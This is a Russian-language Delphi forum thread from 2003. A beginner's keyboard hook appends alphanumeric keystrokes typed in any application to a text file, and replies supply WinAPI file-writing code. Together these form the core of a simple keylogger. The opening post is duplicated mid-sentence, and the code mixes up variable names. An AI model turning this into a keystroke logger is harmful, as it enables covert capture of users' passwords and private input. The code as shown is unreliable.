hook и проблемма

← →
Shluz © (2003-06-15 12:24) [0]

Уважаемые мастера!! Возникла такая проблема: создаю hook (размещается внутри программы..так надо)
, в процедуре ловушки KeyboardProc пишу :
...
assignfile(TxFile,"c:\File_Text.txt");
append(TxFile);
try
if ((wParam>=65) and(wParam<=90)) or ((wParam>=97) and(wParam<=122))or ((wParam>=48) and(wParam<=57)) then
writeln(WormFile,chr(wparam));
finally closefile(WormFile);
( напр. Iexplorer) Уважаемые мастера!! Возникла такая проблема: создаю hook (размещается внутри программы..так надо)
, в процедуре ловушки KeyboardProc пишу :
...
assignfile(TxFile,"c:\File_Text.txt");
append(TxFile);
try
if ((wParam>=65) and(wParam<=90)) or ((wParam>=97) and(wParam<=122))or ((wParam>=48) and(wParam<=57)) then
writeln(WormFile,chr(wparam));
finally closefile(WormFile);
end;
все работает только, если кнопки нажимаются в приложениях написанных на Delphi... в других (напр. Iexplorer) возникает
ошибка RT-error.. как это можно объяснить и как с этим бороться?
//может это и глупый вопрос, не судите строго, я начинающий(очень) :)

P.S. И еще вопросик :) Как записывать в файл таким же обрзом введенные символы, но через функцию WriteFile?

← →
Song © (2003-06-15 12:28) [1]

Не рекомендуется использовать RTL ф-ии в хуке. Пиши в файл через АПИ.

← →
Shluz © (2003-06-15 12:43) [2]

>song спасибо друг, я так и понял, что в РТЛ вся проблема, тока вот щас у меня сессия, голову клинит, а программку сделать надо :(

← →
Shluz © (2003-06-15 12:47) [3]

не могу понять как работает WriteFile (api), или может тут использовать файлы отображения надо.... тока я ими пользоваться не умею :)) мож кто отпишет кусочек кода для записи в файл? :)

← →
Song © (2003-06-15 13:08) [4]

OpenFile()
WriteFile()
CloseHandle()

← →
Shluz © (2003-06-15 13:33) [5]

>Song отпиши кусок кода если не трудно, а то, я с параметрами запутался...и как указатель переместить в конец файла?

← →
Song © (2003-06-15 13:34) [6]

мне лень :)

>>и как указатель переместить в конец файла?
FileSeek()

← →
Shluz © (2003-06-15 13:36) [7]

а этими процедурами можно обеспечивать одновременную работу с файлом нескольких процессов?

← →
Song © (2003-06-15 13:43) [8]

Смотря какие флаги укажешь в OpenFile()

блин, ну отпиши код :)я разберусь!!

← →
Burmistroff (2003-06-15 22:30) [10]

var
d, q: DWORD;
fn: string;
by: pchar;
begin
GetMem(by, 1024);
d:=CreateFile("filename", GENERIC_WRITE, FILE_SHARE_READ+FILE_SHARE_WRITE+FILE_SHARE_DELETE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
by:="some thing";
WriteFile(d, by^, 6, q, nil);
CloseHandle(d);
FreeMem(by);
end;

> Burmistroff все стало ясно!! :) большое спасибо!!

hook и проблемма Найти похожие ветки